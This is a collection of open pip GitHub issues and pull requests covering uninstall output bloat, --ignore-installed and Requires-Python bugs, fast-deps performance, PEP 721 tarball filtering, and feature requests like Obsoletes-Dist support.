To demonstrate the issues, I'm running Ubuntu with Python 3.9.6 in a venv with pip 23.2.1 and wheel 0.41.1. A good example of this issue is with cmake-3.27.2 from [PyPI here](https://pypi.org/project/cmake/3.27.2/#files).
```
$ pip install cmake==3.27.2
Collecting cmake==3.27.2
  Obtaining dependency information for cmake==3.27.2 from https://files.pythonhosted.org/packages/2e/51/3a4672a819b4532a378bfefad8f886cfe71057556e0d4eefb64523fd370a/cmake-3.27.2-py2.py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata
  Using cached cmake-3.27.2-py2.py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (6.7 kB)
Using cached cmake-3.27.2-py2.py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (26.1 MB)
Installing collected packages: cmake
Successfully installed cmake-3.27.2
```
This is normal.

The main issue is with `pip uninstall cmake` without any options:
```
$ pip uninstall cmake
Found existing installation: cmake 3.27.2
Uninstalling cmake-3.27.2:
  Would remove:
    /tmp/py39/bin/cmake
    /tmp/py39/bin/cpack
    /tmp/py39/bin/ctest
    /tmp/py39/lib/python3.9/site-packages/*
  Would not remove (might be manually added):
    /tmp/py39/lib/python3.9/site-packages/_distutils_hack/__init__.py
    /tmp/py39/lib/python3.9/site-packages/_distutils_hack/override.py
    /tmp/py39/lib/python3.9/site-packages/distutils-precedence.pth
... approx 700 lines removed ...
    /tmp/py39/lib/python3.9/site-packages/wheel/wheelfile.py
Proceed (Y/n)? n
```
while it's not 100% clear to me what the "Would not remove (might be manually added)" section means, it is because of the bad RECORD entries listing directories. This list is considerably longer when other packages are installed.

Oddly, adding a verbose flag "fixes" the huge output:
```
$ pip uninstall -v cmake
Found existing installation: cmake 3.27.2
Uninstalling cmake-3.27.2:
  Would remove:
    /tmp/py39/bin/cmake
    /tmp/py39/bin/cpack
    /tmp/py39/bin/ctest
    /tmp/py39/lib/python3.9/site-packages/cmake
    /tmp/py39/lib/python3.9/site-packages/cmake-3.27.2.dist-info
  Will actually move:
    /tmp/py39/bin/cmake
    /tmp/py39/bin/cpack
    /tmp/py39/bin/ctest
    /tmp/py39/lib/python3.9/site-packages/cmake
    /tmp/py39/lib/python3.9/site-packages/cmake-3.27.2.dist-info
Proceed (Y/n)? y
  Removing file or directory /tmp/py39/bin/cmake
  Removing file or directory /tmp/py39/bin/cpack
  Removing file or directory /tmp/py39/bin/ctest
  Removing file or directory /tmp/py39/lib/python3.9/site-packages/cmake
  Removing file or directory /tmp/py39/lib/python3.9/site-packages/cmake-3.27.2.dist-info
  Successfully uninstalled cmake-3.27.2
```

### Expected behavior

Even though the [specification for RECORD](https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file) states that "Directories should not be listed", pip uninstall should ignore RECORD entries that are directories. This seems to inflate the output from `pip uninstall` under the section "Would not remove (might be manually added):" by hundreds to thousands of files (depending on how many other packages are installed in the environment).

Perhaps it would also be useful to show a short warning message?

### pip version

23.2.1

### Python version

3.9.6

### OS

Ubuntu Linux

### How to Reproduce

See description.

### Output

See description.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mwtoews
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12221: state: open
title: Provide a way to notify that another package cannot be installed in the environment to avoid conflicts
body: ### What's the problem this feature will solve?

I have a project which is a fork of another project (for a minor feature which the original project doesn't want to support, so, really, a few patches but it can't be upstreamed, but I still need those changes and a published package on pypi with those).

Now, I don't want pip to let users install the original project along with the fork (given that the namespace is still the same). This feature should make it possible to let pip notify that a resolution including both projects isn't possible.

### Describe the solution you'd like

I'd like a way to say that a given package should NOT be installed in the requisites.

### Alternative Solutions

I haven't really come up with an alternative solution which would work.

### Additional context

I don't have additional context to add.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fabioz
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12220: state: open
title: `--ignore-installed` option does not work correctly on latest pip
body: ### Description

I am using the `--ignore-installed` option of pip to overwrite packages that have been installed in the system. Following an update to pip, it is now failing to overwrite the system packages. More specifically I am seeing this with the package `oauthlib`

Interestingly this works as expected with pip v22.0.0

### Expected behavior

_No response_

### pip version

23.2.1

### Python version

3.9

### OS

Mariner Linux 2.0

### How to Reproduce

```bash

#!/bin/bash


docker run --rm -it mcr.microsoft.com/cbl-mariner/base/core:2.0 /bin/bash -c "
    set -x
    yum install -y python3-pip python3-oauthlib

    echo '-----------------------------------------------------------------------------------------------------------------------------'
    echo; echo 'Doesnt work'; echo

    pip3 install --upgrade pip==23.2.1
    echo 'pip version is $(pip3 --version)'

    pip3 install --ignore-installed oauthlib==3.2.2
    echo; echo 'It collects version 3.2.2 but skips the install step, instead saying - Successfully installed oauthlib-2.1.0'

    echo '-----------------------------------------------------------------------------------------------------------------------------'

    echo; echo 'Works'; echo
    
    pip3 install --upgrade pip==22.0.0
    echo 'pip version is $(pip3 --version)'

    pip3 install --ignore-installed oauthlib==3.2.2

"



```

### Output

```
+ yum install -y python3-pip python3-oauthlib
Loaded plugin: tdnfrepogpgcheck
Refreshing metadata for: 'CBL-Mariner Official Extras 2.0 x86_64'
Refreshing metadata for: 'CBL-Mariner Official Base 2.0 x86_64'
Refreshing metadata for: 'CBL-Mariner Official Microsoft 2.0 x86_64'
mariner-official-microsoft               18707 100%
Installing:
util-linux-libs                                          x86_64                                     2.37.4-6.cm2                                             mariner-official-base                        1.45M                                           691.38k
ncurses                                                  x86_64                                     6.4-1.cm2                                                mariner-official-base                      618.08k                                           434.74k
gdbm                                                     x86_64                                     1.21-1.cm2                                               mariner-official-base                      330.55k                                           148.53k
python3-libs                                             x86_64                                     3.9.14-6.cm2                                             mariner-official-base                       30.73M                                            11.08M
python3                                                  x86_64                                     3.9.14-6.cm2                                             mariner-official-base                       45.46k                                            35.55k
python3-oauthlib                                         noarch                                     2.1.0-7.cm2                                              mariner-official-base                        1.05M                                           226.14k
python3-pip                                              noarch                                     3.9.14-6.cm2                                             mariner-official-base                        6.29M                                             1.56M

Total installed size:  40.48M
Total download size:  14.14M
util-linux-libs                         707971 100%
importing key from file:///etc/pki/rpm-gpg/MICROSOFT-RPM-GPG-KEY
importing key from file:///etc/pki/rpm-gpg/MICROSOFT-METADATA-GPG-KEY
ncurses                                 445178 100%
gdbm                                    152095 100%
python3-libs                          11616827 100%
python3                                  36399 100%
python3-oauthlib                        231572 100%
python3-pip                            1639000 100%
Testing transaction
Running transaction
Installing/Updating: ncurses-6.4-1.cm2.x86_64
Installing/Updating: gdbm-1.21-1.cm2.x86_64
Installing/Updating: util-linux-libs-2.37.4-6.cm2.x86_64
Installing/Updating: python3-3.9.14-6.cm2.x86_64
Installing/Updating: python3-libs-3.9.14-6.cm2.x86_64
Installing/Updating: python3-oauthlib-2.1.0-7.cm2.noarch
Installing/Updating: python3-pip-3.9.14-6.cm2.noarch

-----------------------------------------------------------------------------------------------------------------------------

Doesnt work

+ pip3 install --upgrade pip==23.2.1
Collecting pip==23.2.1
  Downloading pip-23.2.1-py3-none-any.whl (2.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 4.5 MB/s eta 0:00:00
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 22.0.4
    Uninstalling pip-22.0.4:
      Successfully uninstalled pip-22.0.4
Successfully installed pip-23.2.1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
+ echo 'pip version is pip 23.1.2 from /home/developer/.local/lib/python3.8/site-packages/pip (python 3.8)'
pip version is pip 23.1.2 from /home/developer/.local/lib/python3.8/site-packages/pip (python 3.8)
+ pip3 install --ignore-installed oauthlib==3.2.2
Collecting oauthlib==3.2.2
  Downloading oauthlib-3.2.2-py3-none-any.whl (151 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 151.7/151.7 kB 2.1 MB/s eta 0:00:00
Installing collected packages: oauthlib
Successfully installed oauthlib-2.1.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv


It collects version 3.2.2 but skips the install step, instead saying - Successfully installed oauthlib-2.1.0

-----------------------------------------------------------------------------------------------------------------------------
Works

+ pip3 install --upgrade pip==22.0.0
Collecting pip==22.0.0
  Downloading pip-22.0-py3-none-any.whl (2.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 5.4 MB/s eta 0:00:00
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 23.2.1
    Uninstalling pip-23.2.1:
      Successfully uninstalled pip-23.2.1
Successfully installed pip-22.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
+ echo 'pip version is pip 23.1.2 from /home/developer/.local/lib/python3.8/site-packages/pip (python 3.8)'
pip version is pip 23.1.2 from /home/developer/.local/lib/python3.8/site-packages/pip (python 3.8)
+ pip3 install --ignore-installed oauthlib==3.2.2
Collecting oauthlib==3.2.2
  Using cached oauthlib-3.2.2-py3-none-any.whl (151 kB)
Installing collected packages: oauthlib
Successfully installed oauthlib-3.2.2
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
WARNING: You are using pip version 22.0; however, version 23.2.1 is available.
You should consider upgrading via the '/usr/bin/python3.9 -m pip install --upgrade pip' command.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Soneji
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12218: state: open
title: Fix resolution to respect ``--python-version`` when checking ``Requires-Python``
body: Fixes https://github.com/pypa/pip/issues/12216



user: thejcannon
issue_12216: state: open
title: `Requires-Python` seems to ignore `--python-version`
body: ### Description

Using Python 3.11 with `pip`, and trying to `--report` on a wheel for Python 3.9, where the wheel has a `Requires-Python >=3.7,<3.10` I'm seeing:

```
ERROR: Packages require a different Python. 3.11.4 not in:
'<3.10,>=3.7' (required by pantsbuild-pants 2.16.1rc0 (from https://files.pythonhosted.org/packages/6f/0d/39d08770aece1f32d2f26286b45a9d91ece24db58b3e202bcb032ecc63d6/pantsbuild.pants-2.16.1rc0-cp39-cp39-manylinux2014_x86_64.whl (from https://pypi.org/simple/pantsbuild-pants/) (requires-python:>=3.7,<3.10)))
```

My workaround is to use `--ignore-requires-python` (eww)

### Expected behavior

The "installation" goes on as expected since `--python-version` is 3.9 :smile: 

### pip version

23.2.1

### Python version

3.11.4

### OS

Ubuntu

### How to Reproduce

1. Have Python 3.11 lying around
2. `python3.11 -m pip install --ignore-installed --dry-run --report report.txt --python-version 3.9 --only-binary :all: --target . pantsbuild.pants==2.16.0`  (note `--target` is only required due to https://github.com/pypa/pip/issues/12215
3. :sob: 

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: thejcannon
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12214: state: open
title: PEP 721: Use the ``data_filter`` when extracting tarballs, if it's available.
body: Previous behaviour is used on Python without PEP-720 tarfile filters. (Note that the feature is now in security releases of all supported versions.)

A custom filter (which wraps `data_filter`) is used to retain pip-specific behaviour:
- Removing a common leading directory
- Setting the mode (Unix permissions)

Compared to the previous behaviour, if a file can't be unpacked, the unpacking operation will fail with `InstallError`, rather than skipping the individual file with a `logger.warning`. This means that "some corrupt tar files" now can't be unpacked.
IMO, this is the correct path forward, but maybe there should be a CLI option to use the old behaviour? Sadly I don't know enough about pip to add one and propagate the setting to `untar_file`.

The new code path avoids internal API (`TarFile._extract_member`).

Note that PEP 721 limits itself to sdists, this change affects unpacking any other tar file.

I hope I got the `nox`/`mypy`/`ruff` stuff right, guess CI will tell...

---

*This PR indents a big block of code. To hide whitespace changes, use `git diff -w` or add `?w=1` to the GitHub URL.*

Fixes: #12111
user: encukou
issue_12211: state: open
title: Suspected module collision when introducing namespace package as dependency of package
body: ### Description

We extracted a module of our package into a namespace package. When upgrading to the new version without first manually uninstalling the existing version, there is an error.

Specifically...

**kfp==2.0.1**
`kfp` has a sub-module `dsl`. `from kfp import dsl` works fine.

**kfp==2.1.2**
`kfp` takes a dependency on a namespace package `kfp-dsl`, which is released separately. `from kfp import dsl` still works fine if the user is not installing kfp==2.1.2 on top of an existing kfp==2.0.1 install (e.g., runs `pip uninstall kfp` first).

**Problem**
When `kfp==2.0.1` is already installed, running `pip install kfp==2.1.2` doesn't put the package into a valid state.

### Expected behavior

When `kfp==2.0.1` is installed, `pip install kfp==2.1.2` should put the package into a valid state.

### pip version

23.2.1

### Python version

3.7

### OS

MacOS 13.5

### How to Reproduce

Success:
1. `pip install --upgrade pip`
2. `pip install kfp==2.0.1`
3. `pip uninstall kfp==2.0.1`
4. `pip install kfp==2.1.2`
5. `python -c 'import kfp'`

Failure:
1. `pip install --upgrade pip`
2. `pip install kfp==2.0.1`
3. `pip install kfp==2.1.2`
4. `python -c 'import kfp'`

### Output

Success:
Nothing

Failure:
```
AttributeError: module 'kfp.dsl.structures' has no attribute 'InputSpec'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: connor-mccarthy
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12208: state: open
title: perform 1-3 HTTP requests for each wheel using fast-deps
body: ### Continued motivation for `fast-deps`
While PEP 658 is the standards-compliant solution and metadata from there is already preferred when available, `--use-feature=fast-deps` avoids downloading wheels against `--find-links` repos and any pypi index not supporting PEP 658 yet. Most non-pypi indices will be either of these, because it's very easy to expose those to pip with a simple file server, so improving `fast-deps` (and turning it on by default) is necessary to extend the benefits from the recent metadata resolve work to most users hosting their own index, especially corporations running pip in their internal CI.

### Problem
- Fixes #8670.
`--use-feature=fast-deps` currently takes a while to perform multiple small range requests against pypi wheels which do not have PEP 658 metadata available, such as `tensorflow-gpu==2.5.3`. This is likely because of delays built into the pypi file host when responding to GET requests for very large files, to reduce the risk of a denial of service. This is pretty reasonable behavior on pypi's part, so we would like to minimize the number of range requests made, as described by @McSinyx in followup work at #8670.

### Solution
- Closes #11447.
- Closes #11481.
@dholth realized two optimizations we could perform:
1. The HTTP `Range` header accepts a negative value `bytes=-N`, which acts like negative slice indices in Python, returning a chunk from the end of the file. This avoids a `HEAD` request to get the file length.
2. The `*.dist-info/` directory is all that's going to be extracted from our lazy wheels, and this directory's contents form a contiguous substring of the total file content. After extracting the central directory from the end of the file with our first request, we can perform a single range request to populate the contents of every file in the `*.dist-info/` directory in the lazy wheel, so no further HTTP requests need to be made to continue the resolution.

#### Additional Fixes
Two additional issues have popped up since #11447:
1. pypi no longer supports negative byte ranges, returning an error from the varnish cache (see https://github.com/pypa/pip/pull/11481#issuecomment-1666945391). This is expected behavior from pypi: see pypi/warehouse#12823.
2. Some wheels such as `tensorflow-gpu==2.5.3` have begun to put their own `*.dist-info/` directories at the beginning of the zip file, possibly as a result of generating them from other build tools which sort zip file entries lexicographically.

Both of these are considered to be reasonable behavior, and this change handles both cases gracefully.

### Result
This halves the time to resolve dependencies from the below requirements for `pip install --dry-run --report` when the fixes of #12186 are merged:
```bash
> git checkout main
> rm -rf ~/.cache/pip
> time python3.8 -m pip install --report test.json --dry-run --ignore-installed 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m33.531s
user    0m13.335s
sys     0m3.219s
> git checkout -
> rm -rf ~/.cache/pip
> time python3.8 -m pip install --report test.json --dry-run --ignore-installed --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m18.417s
user    0m8.847s
sys     0m0.710s
```

As with PEP 658 metadata, in pathological cases which involve lots of backtracking, this will avoid downloading more than a single version of each wheel even for `pip download` or `pip install` without `--dry-run`. **If `--use-feature=fast-deps` is enabled by default, this will also significantly improve performance of all resolves involving `tensorflow-gpu==2.5.3` and other wheels which do not have PEP 658 metadata available on pypi, or against indices which do not serve PEP 658 metadata.** I therefore propose turning on `fast-deps` by default, either in this PR or in #12186 which will be merged after this one.
user: cosmicexplorer
issue_12202: state: open
title: Specify VCS clone root when installing from VCS
body: ### What's the problem this feature will solve?

Currently, installing from a private git repo fails if the git configuration has `includeIf` directives, e.g.:

```
[includeIf "gitdir:/my_root"]
        path = /my_root/gitconfig
```

I'm currently in a directory which is covered by the `includeIf` directive:
```
pwd
# /my_root/my_other_project
```

However, pip install fails, because it's trying to clone the private repo to a temporary directory, and the temporary directory is not covered by the `includeIf` directive:

```
pip install 'git+ssh://git@github.com/my_org/my_private_repo.git'                         
Collecting git+ssh://****@github.com/my_org/my_private_repo.git
  Cloning ssh://****@github.com/my_org/my_private_repo.git to /tmp/pip-req-build-x9qlhgr0
  Running command git clone --filter=blob:none --quiet 'ssh://****@github.com/my_org/my_private_repo.git' /tmp/pip-req-build-9qzf0an1
  ERROR: Repository not found.
  fatal: Could not read from remote repository.

  Please make sure you have the correct access rights
  and the repository exists.
  error: subprocess-exited-with-error
```

I thought `--root` might solve the problem, but it doesn't, as the git repo is STILL cloned to a temporary directory in `/tmp`:

```
MY_TMP=$(mktemp -p /my_root)  # this will create a directory like /my_root/tmp.zCzNUnscbm

pip install --root=$MY_TMP 'git+ssh://git@github.com/my_org/my_private_repo.git'
Collecting git+ssh://****@github.com/my_org/my_private_repo.git
  Cloning ssh://****@github.com/my_org/my_private_repo.git to /tmp/pip-req-build-9qzf0an1
  Running command git clone --filter=blob:none --quiet 'ssh://****@github.com/my_org/my_private_repo.git' /tmp/pip-req-build-9qzf0an1
  ERROR: Repository not found.
  fatal: Could not read from remote repository.

  Please make sure you have the correct access rights
  and the repository exists.
  error: subprocess-exited-with-error
```


### Describe the solution you'd like

Be able to specify the VCS clone root, e.g.

```
pip install --vcs-tmp-dir=/a/b/c 'git+ssh://git@github.com/my_org/my_private_repo.git'
# yay, this will work, because my gitconfig `includeIf` directive covers /a/b/c
```

Then expect to see

```
Collecting git+ssh://****@github.com/my_org/my_private_repo.git
  Cloning ssh://****@github.com/my_org/my_private_repo.git to /a/b/c
  Running command git clone --filter=blob:none --quiet 'ssh://****@github.com/my_org/my_private_repo.git' /a/b/c
```






### Alternative Solutions

A workaround is to clone the private git repo first:

```
% git clone git@github.com:my_org/my_private_repo.git my_private_repo
Cloning into 'my_private_repo'...
<snip>
Resolving deltas: 100% (206/206), done.

% pip install -e my_private_repo
<snip>
Successfully installed my_private_pkg pkg1 pkg2 etc

% python                    
Python 3.9.16 | packaged by conda-forge | (main, Feb  1 2023, 21:39:03) 
[GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import my_private_pkg
>>> # yay, this works!

```

...but I don't necessarily want an editable lying around locally.

### Additional context

As stated before, this only applies to:
- private VCS repos
- which also has special `includeIf` directives in their global git config

I'm happy to look into exploring a PR for this if the regulars can confirm that this is a valid issue which doesn't currently have a clean workaround.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: opyate
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12201: state: open
title: Correctly assign configuration to origin files with `pip config`
body: Fixes #12099 

This pull requests extends the `pip` configuration dictionary to be nested, allowing the configuration keys to be connected with the origin files. It will look like this:

```
{'/etc/xdg/pip/pip.conf': {'install.require-virtualenv': 'true'}, '/etc/pip.conf': {'global.timeout': '60'}, '/home/user/.pip/pip.conf': {'install.require-virtualenv': 'true'}, '/home/user/.config/pip/pip.conf': {'global.timeout': '60', 'test.blah': '1', 'test.blaha': '1'}}
```

`pip config debug` correctly separates the configuration:

```
$ python -m pip config debug
env_var:
env:
global:
  /etc/xdg/xdg-ubuntu/pip/pip.conf, exists: False
  /etc/xdg/pip/pip.conf, exists: True
    install.require-virtualenv: true
  /etc/pip.conf, exists: True
    global.timeout: 60
site:
  /home/user/.virtualenvs/pip-dev/pip.conf, exists: False
user:
  /home/user/.pip/pip.conf, exists: True
    install.require-virtualenv: true
  /home/user/.config/pip/pip.conf, exists: True
    global.timeout: 60
    test.blah: 1
    test.blaha: 1
```

I'm not satisfied with the implementation, though... Happy about review feedback! 


user: chrysle
issue_12196: state: open
title: Support `Obsoletes-Dist` in project metadata
body: ### What's the problem this feature will solve?

In the setuptools documentation (https://setuptools.pypa.io/en/latest/references/keywords.html) there is an `obsoletes` keyword documented and it warns that `pip` does not support this feature. In the process of renaming packages this would be increadibly useful to ensure a sane migration path for end users that install via pip. Two recent examples I've had for this personally in packages that I maintain are the migration of retworkx -> rustworkx (see: https://github.com/Qiskit/rustworkx/pull/644 ) and the potential migration of the qiskit-terra -> qiskit (see: https://github.com/Qiskit/qiskit-terra/pull/10530 for discussion of this), but there other packages I've encountered where this would likely be useful too. In the cases when there is a package rename like this there isn't a good path for users to ensure they can upgrade from the old package to the new one.

Having the `obsoletes` keyword supported by `pip` would make migrations like this much easier for users because it streamlines the upgrade path. Without having this careful consideration needs to be given to the case when there are overlapping packages that will not work as expected  in the cases where users have the old package installed 

### Describe the solution you'd like

If a package is installed that that has an `obsoletes` keyword set that field is parsed and the listed packages (if installed) are uninstalled prior to installing the new package.

For example, if there is a obsolete package `foo` that is no longer maintained and a new package `foobar` is developed. The `foobar` package lists `foo` in it's `obsoletes` in it's package metadata. Then when `foobar` is installed by pip, pip will check if  `foo`  is installed and will uninstall it prior to continuing with the normal package install process.

### Alternative Solutions

If the package which is obsoleting an older one has a different import namespace but is otherwise API compatible (just under a different namespace) you can use an `importlib` to write a custom loader that will redirect from the old namespace to the new one. Then the best current upgrade path is to have the old package depend on the new replacement. But this is a very narrow window where you control both the old name and new name and they are api compatible. For situations where the namespace doesn't change, or the old package is no longer maintained and you've developed a replacement/alternative this won't work.

### Additional context

https://setuptools.pypa.io/en/latest/references/keywords.html

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mtreinish
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12195: state: open
title: Error while installing packages from pip
body: ### Description

I wanted to install numpy and pyqt5 from pip but i got this error `  WARNING: Failed to write executable - trying to use .deleteme logic
ERROR: Could not install packages due to an OSError: [WinError 2] Le fichier spécifié est introuvable: 'C:\\Python311\\Scripts\\f2py.exe' -> 'C:\\Python311\\Scripts\\f2py.exe.deleteme'`
is there a way to fix it?

### Expected behavior

Expected to install everything 

### pip version

23.2.1

### Python version

3.11.4

### OS

Windows

### How to Reproduce

1. Installing numpy and pyqt5 using this command `pip install numpy pyqt5 pyqt5-tools`
2. Running it
3. Getting this error:`  WARNING: Failed to write executable - trying to use .deleteme logic
ERROR: Could not install packages due to an OSError: [WinError 2] Le fichier spécifié est introuvable: 'C:\\Python311\\Scripts\\f2py.exe' -> 'C:\\Python311\\Scripts\\f2py.exe.deleteme'`

### Output

`  WARNING: Failed to write executable - trying to use .deleteme logic
ERROR: Could not install packages due to an OSError: [WinError 2] Le fichier spécifié est introuvable: 'C:\\Python311\\Scripts\\f2py.exe' -> 'C:\\Python311\\Scripts\\f2py.exe.deleteme'`

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Dev-mininos
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12186: state: open
title: pull preparer logic out of the resolver to consume metadata-only dists in commands
body: *Continuation of #11512, now with test cases and a lot of comments.*

- Closes #11512.

# Problem
The use case proposed in #53 uses pip just to execute its resolution logic, in order to generate e.g. a lockfile, without pulling down any dists (which may be quite large). We eventually arrived at `pip install --report --dry-run` as the way to enable this. However, the workstream to improve pip performance has been somewhat fractured and distributed across multiple efforts (as often occurs in open source projects), and by the time pypi had managed to enable PEP 658 metadata, it turns out we had failed to implement the caching behavior we wanted, as described in #11512.

# Solution
1. Avoid finalizing the requirement preparer at all in the resolver itself, and require each command to explicitly instruct the requirement preparer to download anything further.
    - *This separation will hopefully make it easier to progressively cache/virtualize other sections of the resolve process later on as per #12184.*
2. Rename several methods of the requirement preparer in order to clarify their purpose.
    - In particular, remove `InstallRequirement#needs_more_preparation`, and introduce the two methods `.cache_concrete_dist()` and `.cache_virtual_metadata_only_dist()` to manage a `Distribution` object attached to the `InstallRequirement` object itself *(this is the iteration of `.dist_from_metadata` from #11512)*.
    - Execute `.cache_concrete_dist()` from within the `AbstractDistribution#get_metadata_distribution()` implementations to centralize the single place where we instantiate a dist.
3. Move the `test_download_metadata()` tests into a new file `test_install_metadata.py`, because the metadata tests were supposed to be done against the install command anyway.
user: cosmicexplorer
issue_12184: state: open
title: memoizing dependency lookups with a local resolve index
body: ### What's the problem this feature will solve?

*Splitting out this comment (https://github.com/pypa/pip/pull/11478#issuecomment-1653555553) into its own issue.* 

There remains one further avenue to investigate from #7819: amortizing/memoizing certain subproblems across separate invocations of the resolver. While I was able to identify one compartmentalized improvement in #7729, in general I still think pip (and all other package managers right now) currently spend most of their time recomputing a lot of the same constraints against each other over and over again for most hot-path use cases; for example, after identifying the subset of wheels that are compatible with a given interpreter, that information can be recorded and cached indefinitely by the local pip client to immediately jump to the subset of compatible wheels in future resolves.

### Describe the solution you'd like

**My vision is for pip to eventually perform most resolves entirely locally,** only calling out to pypi when it's unable to find a satisfying set and it determines that a newer release of some package might be able to do so. I think this should be feasible without needing to store anything close to the magnitude of all the package contents on pypi, because cargo does that right now, and has some useful comments (https://github.com/rust-lang/cargo/blob/263d24baca913d7ace29e2f59a3254e47272fd6b/src/cargo/sources/registry/index.rs#L25-L30):
```rust
//! One important aspect of the index is that we want to optimize the "happy
//! path" as much as possible. Whenever you type `cargo build` Cargo will
//! *always* reparse the registry and learn about dependency information. This
//! is done because Cargo needs to learn about the upstream crates.io crates
//! that you're using and ensure that the preexisting `Cargo.lock` still matches
//! the current state of the world.
```

As detailed in that file, cargo essentially just serializes a list of the dependency relationships to json in order to publish their index, which is exactly how I implemented the persistent dependency resolution cache in #7819 that multiplied the effect of the `fast-deps` technique alone (https://github.com/cosmicexplorer/pip/blob/40cec94281aa9165c689dd4bb69f953e2fd5fb06/src/pip/_internal/resolution/legacy/resolver.py#L171-L304).

According to this hypothesis, while `fast-deps` (and now PEP 658) gives you the dependency relationships needed to iterate the resolver over a single candidate without actually downloading the many-megabyte zip file, but pip still currently has to pay the cost of network calls to move the resolver forward to evaluate each candidate, and if the candidate is discarded it has to do that again until the resolver finds a satisfying dependency set. In this file, cargo describes generating an index over another index to amortize the graph traversal performed during a cargo resolve while also being able to incorporate any updates to the index that have occurred since the last resolve. **There's nothing special cargo is doing here with rust that we can't do in python;** as they note:
```rust
//! Consequently, Cargo "null builds" (the index that Cargo adds to each build
//! itself) need to be fast when accessing the index. The primary performance
//! optimization here is to avoid parsing JSON blobs from the registry if we
//! don't need them. Most secondary optimizations are centered around removing
//! allocations and such, but avoiding parsing JSON is the #1 optimization.
```

### Alternative Solutions

In pantsbuild/pex#2175 my goal for pex was to reduce i/o and computation from compressing very large amounts of third-party code we do not control. I figured out a hack to reduce that effort, but as @jsirois points out, it's often more robust and maintainable in the long term to develop standard protocols that are designed for the task at hand than rely on clever hacks to optimize existing ones. In that case, while I found it was possible to cache traditional `--layout zipapp` pex files with a clever hack, I learned that the `--layout packed` format had been designed from the ground up to enable that cacheability. Analogously, @uranusjr spent the time to develop PEP 658 to avoid the need for us to use clever hacks like `fast-deps` to get the information pip requires. In both cases, we were able to leverage features of the zip file format to put off standardization for a while, but we're in a better place now that more thoughtful infrastructure has been laid down.

[spack](https://github.com/spack/spack) currently performs an analogous process, deserializing and processing all of the dependency constraints annotated in spack package recipes upon each spack invocation (cc @tgamblin @alalazo)). In contrast, spack's main package repository is maintained as part of the spack codebase itself, so it can always expect the luxury of loading everything from the local filesystem. Still, it demonstrates that amortizing dependency graph traversal while incorporating updates from the source of truth is an intrinsic issue to package resolution, as opposed to the problem solved by `fast-deps` which was a temporary workaround to slowly-evolving packaging standards.

### Additional context

Pip shares Cargo's assumption that each individual release of any package is immutable, so the dependency relationships that `fast-deps`/PEP 658 obtains from each wheel can therefore be cached and reused indefinitely after they are first computed. My hypothesis is that we can improve resolve performance by:
1. *(short term)* mirroring every lookup of `package==version#checksum =>  [dependency requirements]` that pip extracts from pypi during a normal resolve into a local database of some form, to be reused whenever pip evaluates that installation candidate in future resolves.
    - As noted in pantsbuild/pex#2175, every new cache implies a tradeoff of speedup/disk space. I suspect this will be a small enough dataset to avoid that concern, though, especially if we restrict ourselves to just indexing the packages pip has seen before instead of trying to contain all of pypi at once.
    - As with cargo, there are some dependency relationships that are not immutable, like editable installs or the most recent release of a package, and we would need to be able to incorporate that kind of information too.
2. *(longer term)* optimizing the local dependency index and the new resolver in tandem.
    - Maybe this is the hubris of a beginner, but I am under the impression pip would be able to perform most resolutions in the blink of an eye if it didn't need to intersperse filesystem and/or network i/o between every step of the resolver's graph walk.
